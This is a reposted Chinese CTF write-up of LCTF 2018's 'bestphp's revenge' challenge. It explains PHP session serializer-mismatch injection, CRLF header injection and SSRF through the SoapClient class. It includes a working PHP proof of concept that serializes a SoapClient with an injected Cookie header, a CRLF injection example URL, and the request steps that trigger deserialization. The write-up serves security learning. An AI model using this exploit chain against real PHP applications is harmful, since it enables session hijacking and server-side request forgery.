[LCTF]bestphp's revenge 给我的启发学习
Posted op_hxc
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[LCTF]bestphp's revenge 给我的启发学习相关的知识,希望对你有一定的参考价值。
bestphp\'s revenge
flag.php: only localhost can get flag!sessionstart(); echo \'only localhost can get flag!\'; $flag = \'LCTF{*************************}\'; if($SERVER["REMOTEADDR"]==="127.0.0.1"){ $SESSION[\'flag\'] = $flag; } only localhost can get flag!
这里可能就给我们提供了一种可能就是ssrf攻击,利用ssrf来获取flag。 index.php:
<?php
//index.php
highlight_file(__FILE__);
$b = \'implode\';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),\'welcome_to_the_lctf2018\');
call_user_func($b,$a);
?>
在这里call_user_func
是回调函数,她把第一个参数作为回调函数调用,后面的就是跟着传入的参数。
同时题目告诉我们要进行反序列化,但是刚开始没有看到反序列化的点。
在这里我们回调的函数可以是php的内置函数。而反序列化的点在于session。
关于session反序列化的前提点
也算我复习一遍吧,之前用过sess这个文件写过一些东西:
设定用户自定义存储函数(session.save_handler):
[Session]
; Handler used to store/retrieve data.
; http://php.net/session.save-handler
session.save_handler = files
设置session的存储路径(session.save_path):
; does not overwrite the process\'s umask.
; http://php.net/session.save-path
session.save_path="D:\\phpstudy_pro\\Extensions\\tmp\\tmp"
设置反序列化处理器:(session.serialize_handler):
; Handler used to serialize data. php is the standard serializer of PHP.
; http://php.net/session.serialize-handler
session.serialize_handler = php
包含了三种处理器,这里默认为php。他们分别是php,phpserialize 以及phpbinary。
session存储文件,以及三种反序列化引擎返回的不同结果
关于php当中的session:以sess_sessionid
命名,有时候他是有安全隐患的,他用来存储session,这是我随便找的一个sess文件
dvwa|a:2:{s:8:"messages";a:0:{}s:8:"username";s:5:"admin";}session_token|s:32:"5c65a3e35629581c240bf568c46b8df2";
注意用不同的反序列化引擎进行序列化得到的结果是不同的: php_serialize引擎序列化:
name|s:6:"spoock";
其中,s:6:"spoock"是经过serialize之后得到的 php引擎进行序列化: dvwa|a:2:{s:8:"messages";a:0:{}s:8:"username";s:5:"admin";}session_token|s:32:"5c65a3e35629581c240bf568c46b8df2";
php_binary引擎进行反序列化:
<0x04>usernames:5:"admin";
当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。
以下示例来自参考文章:https://www.tinymind.net.cn/articles/f270436cb6b916
我们传入$_SESSION[\'name\']=\'|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}\';
当我们序列化引擎使用:php_serialize
:
在session文件中存储内容就为:a:1:{s:4:"name";s:5:"|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}";}
而此时利用反序列化引擎为php的时候,|就为键与值的分界线。
此时键名为a:1:{s:4:"name";s:5:"
键值为:O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}
这里就形成了注入点,因为键值valude会再进行一次serialize反序列化,所以就会执行生成一个新的smile对象而我们在php引擎中进行这样的序列化,显然是不可能的,我们无法控制参数。
到了这步,此时我们已经完成了一个Smile对象的注入。
crlf漏洞
在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,即回车加换行\\r\\n
,此时我们控制header头,注入换行符,就能注入一些代码,或者其他的比如cookie,所以CRLF漏洞常常出现在Location与Set-cookie消息头中。
关于crlf:
cr:回车符:光标移到行首 : %0d
lf:换行符:光标垂直移到下行 :%0a
就例如在windows我们编写字典的时候加的其实是\\r\\n
,在linux当中则是\\n
。
具体构造方法:在url参数处进行构造即:http://url?xx=hhh%0d%0aSet-cookie:sessionid=test
可以查看一下响应头,看看有没有被返回显示出来。
造成这种问题的原因是因为这两个字符的不完全过滤,以及后端的代码编写方式,例如:header("Location:".$_GET["URL"]); 这样拼接到Location后面并且进行了换行,Set-Cookie就出来了.
index.php页面的分析:
<?php
highlight_file(__FILE__);
$b = \'implode\';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),\'welcome_to_the_lctf2018\');
call_user_func($b,$a);
?>
注意这个回调函数,这里导致的就可能是变量覆盖了,我们利用extract函数,对于$b这里是可以进行变量覆盖的,他的功能、将变量导入到当前的符号表。
即?f=extract POST:b=XXXX目标函数。
同时我们可以利用回调函数来设置反序列化的解释器。
即?f=session_start POST:serialize_handler=php_serialize
这里为什么不能把b覆盖为unserialize函数是有原因的,因为$a为数组,而unserialize无法处理数组。所以这里我们通过call_user_func
来设置session.serialize_handler
,接着通过默认引擎来触发反序列化。
所以结合完这个函数就应该变成session_start([\'serialize_handler\'=>\'php_serialize\'])
我们前面已经介绍了php这个序列化引擎会以|作为作为key和value的分隔符。并且当php引擎与php_serialize放到一起处理的时候,会有异常,利用这个特性。
在这道题环境中我们只要在name上以|开头后面跟上我们真正要反序列化的内容,就是我们注入的点。
此时我们协同着传入我们的payload:
这是poc:
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array(\'location\' => $target,
\'user_agent\' => "test\\r\\nCookie: PHPSESSID=96sujaq7o5tl0btee8urnlsrb3\\r\\n",
\'uri\' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
关于poc的生成以及作用:
这段poc,利用到了crlf,在这里能够将我们设置的这段cookie\\r\\nCookie: PHPSESSID=96sujaq7o5tl0btee8urnlsrb3\\r\\n
变成实体写入进去,能够dump出来,就是设置了我们的cookie,能用来进行ssrf。
此时我们利用crlf伪造了请求,访问flag,结果保存到了96sujaq7o5tl0btee8urnlsrb3这段cookie文件中
原生类soap的利用
SOAP是webService三要素。
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口,其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
我们可以通过它来发送http/https请求,同时WSDL(WebServicesDescriptionLanguage)WSDL 用来描述如何访问具体的接口,他也是三要素之一。
而SoapClient类可以创建soap数据报文,与wsdl接口进行交互。
SOAP的组成
一个包含有一个必需的 SOAP 的封装包,一个可选的 SOAP 标头和一个必需的 SOAP 体块的 XML 文档。
<?xml
version="1.0"?>
<soap:Envelope
xmlns:soap="http://www.w3.org/2001/12/soap-envelope"
soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">
<soap:Header>
</soap:Header>
<soap:Body>
<soap:Fault>
</soap:Fault>
</soap:Body>
</soap:Envelope>
在PHP中,PHP的 SOAP 扩展可以用来提供和使用 Web Services。
拓展实现了流各类,分别为SoapClient、SoapServer 、SoapFault、SoapHeader、SoapParam 以及 SoapVar。
在soapclient类中存在着CRLF漏洞,因为在soapclient中他允许我们自定义User-Agent,通过对User-Agent的控制,我们能够控制更多的参数,对他们进行覆盖。
此处参考文章:https://www.anquanke.com/post/id/153065#h2-5
利用变量覆盖继续
burp截包:
触发反序列化
此时我们利用变量覆盖,去进行反序列化的出发点。
这里我们出触发反序列化的姿势,就是利用变量覆盖,将b覆盖为call_user_func()
。
关于reset函数:reset() 函数将内部指针指向数组中的第一个元素,并输出。
在这里就相当于$_SESSION[\'name\']
,此时我们根据我们上一步传入的结果,最终call_user_func($b, $a)
就变为了:call_user_func(array(\'SoapClient\',\'welcome_to_the_lctf2018\'))
即call_user_func(SoapClient->welcome_to_the_lctf2018)
但是welcome_to_the_lctf2018
是不存在这个方法的,所以就触发了魔术方法__call()
,从而发出请求。
此时触发反序列化使SoapClient发送请求,向flag.php发起了请求,。
读取flag
此时对于flag的读取就非常简单了,我们利用我们设置的cookie去访问网页,session文件的内容就被dump出来了。
在flag.php当中:
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION[\'flag\'] = $flag;
}
即var_dump($_SESSION);
参考文章:
https://blog.spoock.com/2016/10/16/php-serialize-problem/
以上是关于[LCTF]bestphp's revenge 给我的启发学习的主要内容,如果未能解决你的问题,请参考以下文章
2018/11/30-LCTF-想起Lunatic Game
18/09/28-3-BugKu-逆向-easyeasy-200(LCTF)
18/09/26-2-BugKu-逆向-easy100(LCTF)